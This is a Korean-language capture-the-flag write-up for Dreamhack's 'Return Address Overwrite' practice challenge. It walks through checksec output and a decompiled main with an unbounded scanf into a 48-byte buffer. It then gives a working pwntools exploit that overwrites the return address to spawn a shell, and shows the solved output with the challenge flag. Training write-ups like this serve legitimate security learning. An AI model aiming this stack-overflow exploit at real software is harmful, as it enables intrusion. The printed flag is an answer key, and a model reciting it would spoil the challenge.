Description
Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.
문제 파일을 보면 rao.c 소스코드와 rao 실행 파일이 보인다.
rao 실행 파일을 확인해보면, 64비트 리눅스용 실행 파일이며 ASLR과 스택 카나리가 적용되지 않았다.
ubuntu@WSL2:~/CTF/dreamhack.io/Return Address Overwrite$ file rao rao: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=298450dfb7a0f975e175c8e70d1fff1fc1f5b116, not stripped ubuntu@WSL2:~/CTF/dreamhack.io/Return Address Overwrite$ checksec rao [*] '/home/ubuntu/CTF/dreamhack.io/Return Address Overwrite/rao' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
풀이
int __cdecl main(int argc, const char **argv, const char **envp) { char v4[48]; // [rsp+0h] [rbp-30h] BYREF init(argc, argv, envp); printf("Input: "); __isoc99_scanf("%s", v4); return 0; }
마찬가지로 scanf는 입력받을 크기가 제한되어 있지 않아 버퍼 오버플로우가 발생한다.
주의할점은 64비트 실행 파일이기 때문에
Stack Frame Pointer가 8바이트를 차지한다는 점이다.
따라서 페이로드를 작성하면 아래와 같다.
(48바이트 버퍼를 채울 더미데이터) + (8바이트 SFP를 채울 더미데이터) + (실행할 주소)
from pwn import * p = remote("host3.dreamhack.games", 17859) data = p.recvuntil('Input: ') payload = b"\x41" * 48 + b"\x41"*8 + p64(0x4006aa) p.sendline(payload) p.interactive()
ubuntu@WSL2:~/CTF/dreamhack.io/Return Address Overwrite$ python3 attack.py [+] Opening connection to host3.dreamhack.games on port 17859: Done [*] Switching to interactive mode $ ls flag rao run.sh $ cat flag DH{5f47cd0e441bdc6ce8bf6b8a3a0608dc}